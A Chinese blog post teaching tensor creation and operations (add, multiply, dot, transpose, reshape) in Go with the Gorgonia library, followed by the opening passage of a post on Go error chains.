张量是同构数据类型，无论是几阶张量，最终都是由一个个标量组合而成，标量的类型就是张量的元素数据类型(dtype)，在上图中，我们的张量的dtype为float32。浮点数与整型数是机器学习中张量最常用的元素数据类型。\n了解了张量的概念与属性后，我们就来看看在Go中如何创建张量。\n2. 在Go中创建张量 Go提供了几个机器学习库，可以用来创建和操作张量。在Go中执行张量操作的两个流行库是Tensorflow和Gorgonia。\n不过Tensorflow官方团队已经不再对go binding API提供维护支持了(由Go社区第三方负责维护)，并且该binding需要依赖cgo调用tensorflow的库，因此在本文中，我们使用gorgonia来定义张量以及进行张量运算。\nGorgonia提供了tensor包用来定义tensor并提供基于tensor的基本运算函数。下面的例子使用tensor包定义了对应上面图中1阶到3阶的三个张量：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;gorgonia.org/tensor\u0026quot; ) func main() { // define an one-rank tensor oneRankTensor := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2}), tensor.WithShape(4)) fmt.Println(\u0026quot;\\none-rank tensor:\u0026quot;) fmt.Println(oneRankTensor) fmt.Println(\u0026quot;ndim:\u0026quot;, oneRankTensor.Dims()) fmt.Println(\u0026quot;shape:\u0026quot;, oneRankTensor.Shape()) fmt.Println(\u0026quot;dtype\u0026quot;, oneRankTensor.Dtype()) // define an two-rank tensor twoRankTensor := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8, 1.5, 2.9, 3.7, 2.4, 1.7, 3.1}), tensor.WithShape(3, 4)) fmt.Println(\u0026quot;\\ntwo-rank tensor:\u0026quot;) fmt.Println(twoRankTensor) fmt.Println(\u0026quot;ndim:\u0026quot;, twoRankTensor.Dims()) fmt.Println(\u0026quot;shape:\u0026quot;, twoRankTensor.Shape()) fmt.Println(\u0026quot;dtype\u0026quot;, twoRankTensor.Dtype()) // define an three-rank tensor threeRankTensor := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8, 1.5, 2.9, 3.7, 2.4, 1.7, 3.1, 1.5, 2.7, 1.4, 3.3, 2.5, 2.8, 1.9, 2.9, 3.5, 2.5, 1.7, 3.6}), tensor.WithShape(2, 3, 4)) fmt.Println(\u0026quot;\\nthree-rank tensor:\u0026quot;) fmt.Println(threeRankTensor) fmt.Println(\u0026quot;ndim:\u0026quot;, threeRankTensor.Dims()) fmt.Println(\u0026quot;shape:\u0026quot;, threeRankTensor.Shape()) fmt.Println(\u0026quot;dtype\u0026quot;, threeRankTensor.Dtype()) } tensor.New接受一个变长参数列表，这里我们显式传入了存储张量数据的平坦数组数据以及tensor的shape属性，这样我们便能得到一个满足我们要求的tensor变量。运行上面程序，你将看到下面内容：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor.go one-rank tensor: [1.7 2.6 1.3 3.2] ndim: 1 shape: (4) dtype float32 two-rank tensor: ⎡1.7 2.6 1.3 3.2⎤ ⎢2.7 2.8 1.5 2.9⎥ ⎣3.7 2.4 1.7 3.1⎦ ndim: 2 shape: (3, 4) dtype float32 three-rank tensor: ⎡1.7 2.6 1.3 3.2⎤ ⎢2.7 2.8 1.5 2.9⎥ ⎣3.7 2.4 1.7 3.1⎦ ⎡1.5 2.7 1.4 3.3⎤ ⎢2.5 2.8 1.9 2.9⎥ ⎣3.5 2.5 1.7 3.6⎦ ndim: 3 shape: (2, 3, 4) dtype float32 tensor.New返回的*tensor.Dense类型实现了fmt.Stringer接口，可以按shape形式打印出tensor，但是人类肉眼也就识别到3阶tensor吧。3阶以上的tensor输出的格式用人眼识别和理解就有些困难了。\n此外，我们看到Gorgonia的tensor包基于平坦的数组来存储tensor数据，tensor包根据shape属性对数组中数据做切分，划分出不同轴上的数据。数组的元素类型可以自定义，如果我们使用float64的切片，那么tensor的dtype就为float64。\n3. Go中的基本张量运算 现在我们知道了如何使用Gorgonia/tensor创建张量了，让我们来探索Go中的一些基本张量运算。\n3.1. 加法和减法 将两个相同形状(shape)的张量相加或相减是机器学习算法中的一个常见操作。在Go中，我们可以使用Gorgonia/tensor提供的Add和Sub函数进行加减操作。下面是一个使用tensor包进行加减运算的示例代码片断：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor_add_sub.go func main() { // define two two-rank tensor ta := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8, 1.5, 2.9, 3.7, 2.4, 1.7, 3.1}), tensor.WithShape(3, 4)) fmt.Println(\u0026quot;\\ntensor a:\u0026quot;) fmt.Println(ta) tb := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8, 1.5, 2.9, 3.7, 2.4, 1.7, 3.1}), tensor.WithShape(3, 4)) fmt.Println(\u0026quot;\\ntensor b:\u0026quot;) fmt.Println(ta) tc, _ := tensor.Add(ta, tb) fmt.Println(\u0026quot;\\ntensor a+b:\u0026quot;) fmt.Println(tc) td, _ := tensor.Sub(ta, tb) fmt.Println(\u0026quot;\\ntensor a-b:\u0026quot;) fmt.Println(td) // add in-place tensor.Add(ta, tb, tensor.UseUnsafe()) fmt.Println(\u0026quot;\\ntensor a+b(in-place):\u0026quot;) fmt.Println(ta) // tensor add scalar tg, err := tensor.Add(tb, float32(3.14)) if err != nil { fmt.Println(\u0026quot;add scalar error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor b+3.14:\u0026quot;) fmt.Println(tg) // add two tensors of different shape te := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8}), tensor.WithShape(2, 3)) fmt.Println(\u0026quot;\\ntensor e:\u0026quot;) fmt.Println(te) tf, err := tensor.Add(ta, te) fmt.Println(\u0026quot;\\ntensor a+e:\u0026quot;) if err != nil { fmt.Println(\u0026quot;add error:\u0026quot;, err) return } fmt.Println(tf) } 运行该示例：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor_add_sub.go tensor a: ⎡1.7 2.6 1.3 3.2⎤ ⎢2.7 2.8 1.5 2.9⎥ ⎣3.7 2.4 1.7 3.1⎦ tensor b: ⎡1.7 2.6 1.3 3.2⎤ ⎢2.7 2.8 1.5 2.9⎥ ⎣3.7 2.4 1.7 3.1⎦ tensor a+b: ⎡3.4 5.2 2.6 6.4⎤ ⎢5.4 5.6 3 5.8⎥ ⎣7.4 4.8 3.4 6.2⎦ tensor a-b: ⎡0 0 0 0⎤ ⎢0 0 0 0⎥ ⎣0 0 0 0⎦ tensor a+b(in-place): ⎡3.4 5.2 2.6 6.4⎤ ⎢5.4 5.6 3 5.8⎥ ⎣7.4 4.8 3.4 6.2⎦ tensor b+3.14: ⎡ 4.84 5.74 4.44 6.34⎤ ⎢ 5.84 5.94 4.6400003 6.04⎥ ⎣ 6.84 5.54 4.84 6.24⎦ tensor e: ⎡1.7 2.6 1.3⎤ ⎣3.2 2.7 2.8⎦ tensor a+e: add error: Add failed: Shape mismatch. Expected (2, 3). Got (3, 4) 我们看到：tensor加减法是一个逐元素(element-wise)进行的操作，要求参与张量运算的张量必须有相同的shape，同位置的两个元素相加，否则会像示例中最后的a+e那样报错；tensor加法支持tensor与一个scalar(标量)进行加减，原理就是tensor中每个元素都与这个标量相加减；此外若传入tensor.Unsafe这个option后，参与加减法操作的第一个tensor的值会被结果重写掉(override)。\n3.2. 乘法和除法 两个张量的相乘或相除是机器学习算法中另一个常见的操作。在Go中，我们可以使用Gorgonia/tensor提供的Mul和Div函数进行乘除运算。下面是一个使用Gorgonia/tensor进行乘法和除法运算的示例代码：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor_mul_div.go func main() { // define two two-rank tensor ta := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8, 1.5, 2.9, 3.7, 2.4, 1.7, 3.1}), tensor.WithShape(3, 4)) fmt.Println(\u0026quot;\\ntensor a:\u0026quot;) fmt.Println(ta) tb := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8, 1.5, 2.9, 3.7, 2.4, 1.7, 3.1}), tensor.WithShape(3, 4)) fmt.Println(\u0026quot;\\ntensor b:\u0026quot;) fmt.Println(tb) tc, err := tensor.Mul(ta, tb) if err != nil { fmt.Println(\u0026quot;multiply error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a x b:\u0026quot;) fmt.Println(tc) // multiple tensor and a scalar td, err := tensor.Mul(ta, float32(3.14)) if err != nil { fmt.Println(\u0026quot;multiply error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor ta x 3.14:\u0026quot;) fmt.Println(td) // divide two tensors td, err = tensor.Div(ta, tb) if err != nil { fmt.Println(\u0026quot;divide error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor ta / tb:\u0026quot;) fmt.Println(td) // multiply two tensors of different shape te := tensor.New(tensor.WithBacking([]float32{1.7, 2.6, 1.3, 3.2, 2.7, 2.8}), tensor.WithShape(2, 3)) fmt.Println(\u0026quot;\\ntensor e:\u0026quot;) fmt.Println(te) tf, err := tensor.Mul(ta, te) fmt.Println(\u0026quot;\\ntensor a x e:\u0026quot;) if err != nil { fmt.Println(\u0026quot;mul error:\u0026quot;, err) return } fmt.Println(tf) } 运行该示例，我们可以看到如下结果：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor_mul_div.go tensor a: ⎡1.7 2.6 1.3 3.2⎤ ⎢2.7 2.8 1.5 2.9⎥ ⎣3.7 2.4 1.7 3.1⎦ tensor b: ⎡1.7 2.6 1.3 3.2⎤ ⎢2.7 2.8 1.5 2.9⎥ ⎣3.7 2.4 1.7 3.1⎦ tensor a x b: ⎡ 2.89 6.7599993 1.6899998 10.240001⎤ ⎢7.2900004 7.8399997 2.25 8.410001⎥ ⎣13.690001 5.76 2.89 9.61⎦ tensor ta x 3.14: ⎡5.3380003 8.164 4.082 10.048⎤ ⎢ 8.478001 8.792 4.71 9.106001⎥ ⎣11.618001 7.5360007 5.3380003 9.734⎦ tensor ta / tb: ⎡1 1 1 1⎤ ⎢1 1 1 1⎥ ⎣1 1 1 1⎦ tensor e: ⎡1.7 2.6 1.3⎤ ⎣3.2 2.7 2.8⎦ tensor a x e: mul error: Mul failed: Shape mismatch. Expected (2, 3). Got (3, 4) 我们看到，和加减法一样，tensor的乘除法也是逐元素进行的，同时也支持与scalar的乘除。但对于shape不同的两个tensor，Mul和Div会报错。\n了解了加减、乘除等基本操作后，下面我们再探索一写更高级的张量操作。\n4. Go中的高级张量操作 除了基本的张量操作外，Go还提供了一些高级的张量操作，用于复杂的机器学习算法中。让我们来探讨一下Go中的一些高级张量操作。\n4.1. 点积 点积运算，也叫张量积(tensor product，不要与上面的逐元素的乘积弄混)，是线性代数和机器学习算法中的一个作最常见也最有用的张量运算。与逐元素的运算不同，它将输入张量的元素合并在一起。\n它涉及到将两个张量元素相乘，然后将结果相加。这里借用鱼书中的图来直观的看一下二阶tensor计算过程：\n图中是两个shape为(2, 2)的tensor的点积。\n下面是更一般的两个二阶tensor t1和t2：\ntensor t1: shape(a, b) tensor t2: shape(c, d) t1和t2可以做点积的前提是b == c，即第一个tensor t1的shape[1] == 第二个tensor t2的shape[0]。\n在Go中，我们可以Dot函数来实现点积操作。下面是使用Gorgonia/tensor进行点积操作的例子：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor_dot.go func main() { // define two two-rank tensor ta := tensor.New(tensor.WithBacking([]float32{1, 2, 3, 4}), tensor.WithShape(2, 2)) fmt.Println(\u0026quot;\\ntensor a:\u0026quot;) fmt.Println(ta) tb := tensor.New(tensor.WithBacking([]float32{5, 6, 7, 8}), tensor.WithShape(2, 2)) fmt.Println(\u0026quot;\\ntensor b:\u0026quot;) fmt.Println(tb) tc, err := tensor.Dot(ta, tb) if err != nil { fmt.Println(\u0026quot;dot error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a dot b:\u0026quot;) fmt.Println(tc) td := tensor.New(tensor.WithBacking([]float32{5, 6, 7, 8, 9, 10}), tensor.WithShape(2, 3)) fmt.Println(\u0026quot;\\ntensor d:\u0026quot;) fmt.Println(td) te, err := tensor.Dot(ta, td) if err != nil { fmt.Println(\u0026quot;dot error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a dot d:\u0026quot;) fmt.Println(te) // three-rank tensor dot two-rank tensor tf := tensor.New(tensor.WithBacking([]float32{23: 12}), tensor.WithShape(2, 3, 4)) fmt.Println(\u0026quot;\\ntensor f:\u0026quot;) fmt.Println(tf) tg := tensor.New(tensor.WithBacking([]float32{11: 12}), tensor.WithShape(4, 3)) fmt.Println(\u0026quot;\\ntensor g:\u0026quot;) fmt.Println(tg) th, err := tensor.Dot(tf, tg) if err != nil { fmt.Println(\u0026quot;dot error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor f dot g:\u0026quot;) fmt.Println(th) } 运行该示例，我们可以看到如下结果：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor_dot.go tensor a: ⎡1 2⎤ ⎣3 4⎦ tensor b: ⎡5 6⎤ ⎣7 8⎦ tensor a dot b: ⎡19 22⎤ ⎣43 50⎦ tensor d: ⎡ 5 6 7⎤ ⎣ 8 9 10⎦ tensor a dot d: ⎡21 24 27⎤ ⎣47 54 61⎦ tensor f: ⎡ 0 0 0 0⎤ ⎢ 0 0 0 0⎥ ⎣ 0 0 0 0⎦ ⎡ 0 0 0 0⎤ ⎢ 0 0 0 0⎥ ⎣ 0 0 0 12⎦ tensor g: ⎡ 0 0 0⎤ ⎢ 0 0 0⎥ ⎢ 0 0 0⎥ ⎣ 0 0 12⎦ tensor f dot g: ⎡ 0 0 0⎤ ⎢ 0 0 0⎥ ⎣ 0 0 0⎦ ⎡ 0 0 0⎤ ⎢ 0 0 0⎥ ⎣ 0 0 144⎦ 我们看到大于2阶的高阶tensor也可以做点积，只要其形状匹配遵循与前面2阶张量相同的原则：\n(a, b, c, d) . (d,) -\u0026gt; (a, b, c) (a, b, c, d) . (d, e) -\u0026gt; (a, b, c, e) 4.2. 转置 转置张量包括翻转其行和列。这是机器学习算法中的一个常见操作，广泛应用在图像处理和自然语言处理等领域。在Go中，我们可以使用tensor包提供的Transpose函数对tensor进行转置：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor_transpose.go func main() { // define two-rank tensor ta := tensor.New(tensor.WithBacking([]float32{1, 2, 3, 4, 5, 6}), tensor.WithShape(3, 2)) fmt.Println(\u0026quot;\\ntensor a:\u0026quot;) fmt.Println(ta) tb, err := tensor.Transpose(ta) if err != nil { fmt.Println(\u0026quot;transpose error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a transpose:\u0026quot;) fmt.Println(tb) // define three-rank tensor tc := tensor.New(tensor.WithBacking([]float32{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24}), tensor.WithShape(2, 3, 4)) fmt.Println(\u0026quot;\\ntensor c:\u0026quot;) fmt.Println(tc) fmt.Println(\u0026quot;tc shape:\u0026quot;, tc.Shape()) td, err := tensor.Transpose(tc) if err != nil { fmt.Println(\u0026quot;transpose error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor c transpose:\u0026quot;) fmt.Println(td) fmt.Println(\u0026quot;td shape:\u0026quot;, td.Shape()) } 运行上面示例：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor_transpose.go tensor a: ⎡1 2⎤ ⎢3 4⎥ ⎣5 6⎦ tensor a transpose: ⎡1 3 5⎤ ⎣2 4 6⎦ tensor c: ⎡ 1 2 3 4⎤ ⎢ 5 6 7 8⎥ ⎣ 9 10 11 12⎦ ⎡13 14 15 16⎤ ⎢17 18 19 20⎥ ⎣21 22 23 24⎦ tc shape: (2, 3, 4) tensor c transpose: ⎡ 1 13⎤ ⎢ 5 17⎥ ⎣ 9 21⎦ ⎡ 2 14⎤ ⎢ 6 18⎥ ⎣10 22⎦ ⎡ 3 15⎤ ⎢ 7 19⎥ ⎣11 23⎦ ⎡ 4 16⎤ ⎢ 8 20⎥ ⎣12 24⎦ td shape: (4, 3, 2) 接下来，我们再来探讨两个张量的高级操作：重塑(也叫变形)与广播。\n5. 在Go中重塑与广播张量 在机器学习算法中，经常需要对张量进行重塑和广播，使其与不同的操作兼容。Go提供了几个函数来重塑和广播张量。让我们来探讨如何在Go中重塑和广播张量。\n5.1. 重塑张量 重塑一个张量涉及到改变它的尺寸到一个新的形状。在Go中，我们可以使用Gorgonia/tensor提供的Dense类型的Reshape方法来重塑张量自身。\n下面是一个使用Gorgonia重塑张量的示例代码：\n// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor_reshape.go func main() { // define two-rank tensor ta := tensor.New(tensor.WithBacking([]float32{1, 2, 3, 4, 5, 6}), tensor.WithShape(3, 2)) fmt.Println(\u0026quot;\\ntensor a:\u0026quot;) fmt.Println(ta) fmt.Println(\u0026quot;ta shape:\u0026quot;, ta.Shape()) err := ta.Reshape(2, 3) if err != nil { fmt.Println(\u0026quot;reshape error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a reshape(2,3):\u0026quot;) fmt.Println(ta) fmt.Println(\u0026quot;ta shape:\u0026quot;, ta.Shape()) err = ta.Reshape(1, 6) if err != nil { fmt.Println(\u0026quot;reshape error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a reshape(1, 6):\u0026quot;) fmt.Println(ta) fmt.Println(\u0026quot;ta shape:\u0026quot;, ta.Shape()) err = ta.Reshape(2, 1, 3) if err != nil { fmt.Println(\u0026quot;reshape error:\u0026quot;, err) return } fmt.Println(\u0026quot;\\ntensor a reshape(2, 1, 3):\u0026quot;) fmt.Println(ta) fmt.Println(\u0026quot;ta shape:\u0026quot;, ta.Shape()) } 运行上述代码，我们将看到：\n$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor_reshape.go tensor a: ⎡1 2⎤ ⎢3 4⎥ ⎣5 6⎦ ta shape: (3, 2) tensor a reshape(2,3): ⎡1 2 3⎤ ⎣4 5 6⎦ ta shape: (2, 3) tensor a reshape(1, 6): R[1 2 3 4 5 6] ta shape: (1, 6) tensor a reshape(2, 1, 3): ⎡1 2 3⎤ ⎡4 5 6⎤ ta shape: (2, 1, 3) 由此看来，张量转置其实是张量重塑的一个特例，只是将将轴对调。\n5.2. 广播张量 广播张量涉及到扩展其维度以使其与其他操作兼容。下面是鱼书中关于广播(broadcast)的图解：\n我们看到图中这个标量(Scalar)扩展维度后与第一个张量做乘法操作，与我们前面说到的张量与标量(scalar)相乘是一样的。如上图中这种标量10被扩展成了2 × 2的形状后再与矩阵A进行乘法运算，这个的功能就称为广播(broadcast)。\n在鱼书中还提到了“借助这个广播功能，不同形状的张量之间也可以顺利地进行运算”以及下面图中这个示例：\n但Gorgonia/tensor包目前并不支持除标量之外的“广播”。\n6. 小结 张量操作在机器学习和数据科学中是必不可少的，它允许我们有效地操纵多维数组。在这篇文章中，我们探讨了如何使用Go创建和执行基本和高级张量操作。我们还学习了广播和重塑张量，使它们与不同的机器学习模型兼容。\n我希望这篇文章能为后续继续探究深度学习与神经网络奠定一个基础，让你开始探索Go中的张量操作，并使用它们来解决现实世界的问题。\n注：说实话，Go在机器学习领域的应用并不广泛，前景也不明朗，零星的几个开源库似乎也不是很活跃。这里也仅是基于Go去学习理解机器学习的概念和操作，真正为生产编写和训练的机器学习模型与程序还是要使用Python。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations\n7. 参考资料 《Python深度学习(第二版)》 – https://book.douban.com/subject/36078304/ 鱼书《深度学习入门：基于Python的理论与实现》 – https://book.douban.com/subject/30270959/ 苹果书《深入浅出神经网络与深度学习》 – https://book.douban.com/subject/35128111/ 《机器学习：Go语言实现》 – https://book.douban.com/subject/30457083/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-and-nn-part1-tensor-operations-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations\"\u003ehttps://tonybai.com/2023/05/21/go-and-nn-part1-tensor-operations\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"0-背景\"\u003e0. 背景\u003c/h2\u003e\n\u003cp\u003e2023年年初，我们很可能是见证了一次新工业革命的起点，也可能是见证了\u003ca href=\"http://en.wikipedia.org/wiki/Artificial_general_intelligence\"\u003eAGI(Artificial general intelligence，通用人工智能)\u003c/a\u003e孕育的开始。ChatGPT应用以及后续GPT-4大模型的出现，其震撼程度远超当年\u003ca href=\"https://deepmind.com/research/case-studies/alphago-the-story-so-far\"\u003eAlphaGo战胜人类顶尖围棋选手\u003c/a\u003e。相对于AlphaGo在一个狭窄领域的建树，\u003cstrong\u003eChatGPT则是以摧枯拉朽之势横扫几乎所有脑力劳动行业\u003c/strong\u003e。\u003c/p\u003e","title":"Go与神经网络：张量运算"},{"content":"\n本文永久链接 – https://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain\n0. Go错误处理简要回顾 Go是一种非常强调错误处理的编程语言。在Go中，错误被表示为实现了error接口的类型的值，error接口只有一个方法：\ntype error interface { Error() string } 这个接口的引入使得Go程序可以以一致和符合惯用法的方式进行错误处理。\n在所有编程语言中，错误处理的挑战之一都是能提供足够的错误上下文信息，以帮助开发人员诊断问题，同时又可以避免开发人员淹没在不必要的细节中。在Go中，这一挑战目前是通过使用**错误链(error chain)**来解决的。\n注：Go官方用户调查结果表明，Go社区对Go错误处理机制改进的期望还是很高的。这对Go核心团队而言，依然是一个不小的挑战。好在Go 1.18泛型落地，随着Go泛型的逐渐成熟，更优雅的错误处理方案有可能会在不远的将来浮出水面。\n错误链是一种将一个错误包裹在另一个错误中的技术，以提供关于错误的额外的上下文。当错误通过多层代码传播时，这种技术特别有用，每层代码都会为错误信息添加自己的上下文。\n不过，最初Go的错误处理机制是不支持错误链的，Go对错误链的支持和完善是在Go 1.13版本中才开始的事情。\n众所周知，在Go中，错误处理通常使用if err != nil的惯用法来完成。当一个函数返回一个错误时，调用代码会检查该错误是否为nil。如果错误不是nil，通常会被打印到日志中或返回给调用者。\n例如，看下面这个读取文件的函数：\nfunc readFile(filename string) ([]byte, error) { data, err := os.ReadFile(filename) if err != nil { return nil, err } return data, nil } 在这段代码中，os.ReadFile()如果读取文件失败，会返回一个错误。如果发生这种情况，readFile函数会将错误返回给它的调用者。Go的这种基本的错误处理机制简单有效好理解，但它也有自己的局限性。其中一个主要的限制是错误信息可能是模糊的。当一个错误在多层代码中传播时，开发人员可能很难确定错误的真实来源和原因。 我们看一下下面这段代码：\nfunc processFile(filename string) error { data, err := readFile(filename) if err != nil { return fmt.Errorf(\u0026quot;can not read file: %s\u0026quot;, filename) } // process the file data... return nil } 在这个例子中，如果processFile因readFile失败而返回一个错误，错误信息将只表明该文件无法被读取，它不会提供任何关于造成错误的原因或错误发生地点的准确信息。\nGo基本错误处理的另一个约束是在处理错误时，错误的上下文可能会丢失。尤其是当一个错误通过多层代码时，某一层可能会忽略收到的错误信息，而是构造自己的错误信息并返回给调用者，这样最初的错误上下文就会在错误的传递过程中丢失了，这不利于问题的快速诊断。\n那么，我们如何解决这些限制呢？下面我们就来探讨一下错误链是如何如何帮助Go开发人员解决这些限制问题的。\n1. 错误包装(error wrapping)与错误链 为了解决基本错误处理的局限性，Go在1.13版本中提供了Unwrap接口和fmt.Errorf的%w的格式化动词，用于构建可以包裹(wrap)其他错误的错误以及从一个包裹了其他错误的错误中判断是否有某个指定错误，并从中提取错误信息。\nfmt.Errorf是最常用的用于包裹错误的函数，它接收一个现有的错误，并将其包装在一个新的错误中，并可以附着更多的错误上下文信息。\n例如，改造一下上面的示例代码：\nfunc processFile(filename string) error { data, err := readFile(filename) if err != nil { return fmt.Errorf(\u0026quot;failed to read file: %w\u0026quot;, err) } // process the file data... return nil } 在这段代码中，fmt.Errorf通过%w创建了一个新的错误，新错误包裹(wrap)了原来的错误，并附加了一些错误上下文信息(failed to read file)。这个新的错误可以在调用堆栈中传播并提供更多关于这个错误的上下文。\n为了从错误链中检索原始错误，Go在errors包中提供了Is、As和Unwrap()函数。Is和As函数用于判定某个error是否存在于错误链中，Unwrap这个函数返回错误链中的下一个直接错误。\n下面是一个完整的例子：\nfunc readFile(filename string) ([]byte, error) { data, err := os.ReadFile(filename) if err != nil { return nil, err } return data, nil } func processFile(filename string) error { data, err := readFile(filename) if err != nil { return fmt.Errorf(\u0026quot;failed to read file: %w\u0026quot;, err) } fmt.Println(string(data)) return nil } func main() { err := processFile(\u0026quot;1.txt\u0026quot;) if err != nil { fmt.Println(err) fmt.Println(errors.Is(err, os.ErrNotExist)) err = errors.Unwrap(err) fmt.Println(err) err = errors.Unwrap(err) fmt.Println(err) return } } 运行这个程序(前提：1.txt文件并不存在)，结果如下：\n$go run demo1.go failed to read file: open 1.txt: no such file or directory true open 1.txt: no such file or directory no such file or directory 该示例中错误的wrap和unwrap关系如下图：\n像这种由错误逐个包裹而形成的链式结构(如下图)，我们称之为错误链。\n接下来，我们再来详细说一下Go错误链的使用。\n2. Go中错误链的使用 2.1 如何创建错误链 就像前面提到的，我们通过包裹错误来创建错误链。\n目前Go标准库中提供的用于wrap error的API有fmt.Errorf和errors.Join。fmt.Errorf最常用，在上面的示例中我们演示过了。errors.Join用于将一组errors wrap为一个error。\nfmt.Errorf也支持通过多个%w一次打包多个error，下面是一个完整的例子：\nfunc main() { err1 := errors.New(\u0026quot;error1\u0026quot;) err2 := errors.New(\u0026quot;error2\u0026quot;) err3 := errors.New(\u0026quot;error3\u0026quot;) err := fmt.Errorf(\u0026quot;wrap multiple error: %w, %w, %w\u0026quot;, err1, err2, err3) fmt.Println(err) e, ok := err.(interface{ Unwrap() []error }) if !ok { fmt.Println(\u0026quot;not imple Unwrap []error\u0026quot;) return } fmt.Println(e.Unwrap()) } 示例运行输出如下：\nwrap multiple error: error1, error2, error3 [error1 error2 error3] 我们看到，通过fmt.Errorf一次wrap的多个error在String化后，是在一行输出的。这点与errors.Join的有所不同。下面是用errors.Join一次打包多个error的示例：\nfunc main() { err1 := errors.New(\u0026quot;error1\u0026quot;) err2 := errors.New(\u0026quot;error2\u0026quot;) err3 := errors.New(\u0026quot;error3\u0026quot;) err := errors.Join(err1, err2, err3) fmt.Println(err) errs, ok := err.(interface{ Unwrap() []error }) if !ok { fmt.Println(\u0026quot;not imple Unwrap []error\u0026quot;) return } fmt.Println(errs.Unwrap()) } 这个示例输出如下：\n$go run demo2.go error1 error2 error3 [error1 error2 error3] 我们看到，通过errors.Join一次wrap的多个error在String化后，每个错误单独占一行。\n如果对上面的输出格式都不满意，那么你还可以自定义Error类型，只要至少实现了String() string和Unwrap() error 或Unwrap() []error即可。\n2.2 判定某个错误是否在错误链中 前面提到过errors包提供了Is和As函数来判断某个错误是否在错误链中，对于一次wrap多个error值的情况，errors.Is和As也都按预期可用。\n2.3 获取错误链中特定错误的上下文信息 有些时候，我们需要从错误链上获取某个特定错误的上下文信息，通过Go标准库可以至少有两种实现方式：\n第一种：通过errors.Unwrap函数来逐一unwrap错误链中的错误。\n由于不确定错误链上的error个数以及每个error的特征，这种方式十分适合用来获取root cause error，即错误链中最后面的一个error。下面是一个示例：\nfunc rootCause(err error) error { for { e, ok := err.(interface{ Unwrap() error }) if !ok { return err } err = e.Unwrap() if err == nil { return nil } } } func main() { err1 := errors.New(\u0026quot;error1\u0026quot;) err2 := fmt.Errorf(\u0026quot;2nd err: %w\u0026quot;, err1) err3 := fmt.Errorf(\u0026quot;3rd err: %w\u0026quot;, err2) fmt.Println(err3) // 3rd err: 2nd err: error1 fmt.Println(rootCause(err1)) // error1 fmt.Println(rootCause(err2)) // error1 fmt.Println(rootCause(err3)) // error1 } 第二种：通过errors.As函数将error chain中特定类型的error提取出来\nerror.As函数用于判断某个error是否是特定类型的error，如果是则将那个error提取出来，比如：\ntype MyError struct { err string } func (e *MyError) Error() string { return e.err } func main() { err1 := \u0026amp;MyError{\u0026quot;temp error\u0026quot;} 